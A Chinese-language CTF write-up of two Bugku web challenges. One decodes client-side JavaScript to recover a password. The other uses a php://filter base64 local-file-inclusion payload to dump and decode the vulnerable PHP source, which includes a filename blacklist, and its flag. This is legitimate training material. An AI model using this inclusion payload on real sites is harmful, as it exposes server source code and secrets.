看提示,让我们看看源代码。
那我们进去直接看一下源代码吧。
很明显,这一堆url编码肯定有东西。
解码
解完是这样,咱们在分析分析。
var p1 = ‘function checkSubmit(){var a%3ddocument.getElementById(“password”)%3bif(“undefined”!%3dtypeof a){if("67d709b2b’;
var p2 = ‘aa648cf6e87a7114f1"%3d%3da.value)return!0%3balert(“Error”)%3ba.focus()%3breturn!1}}document.getElementById(“levelQuest”).onsubmit%3dcheckSubmit%3b’;
eval(unescape(p1) + unescape(‘54aa2’ + p2));
这有一段类似于提示eval(unescape(p1) + unescape(‘54aa2’ + p2));把他拼一下。
拼起来是这样的,我们放进去试一试。67d709b2b54aa2aa648cf6e87a7114f1
OK!flag直接出来了。
KEY{J22JK-HS11}
OK!搞定。
看提示,又好明显的意思,flag在index里。
打开看一下。
很明显可以点。
点完就出了个test5,但是URL里看到了一个熟悉的参数,file。
构造出?file=php://filter/read=convert.base64-encode/resource=index.php,以base64编码。
php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
解码一下。
<html>
<title>Bugku-ctf</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo 'click me? no';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>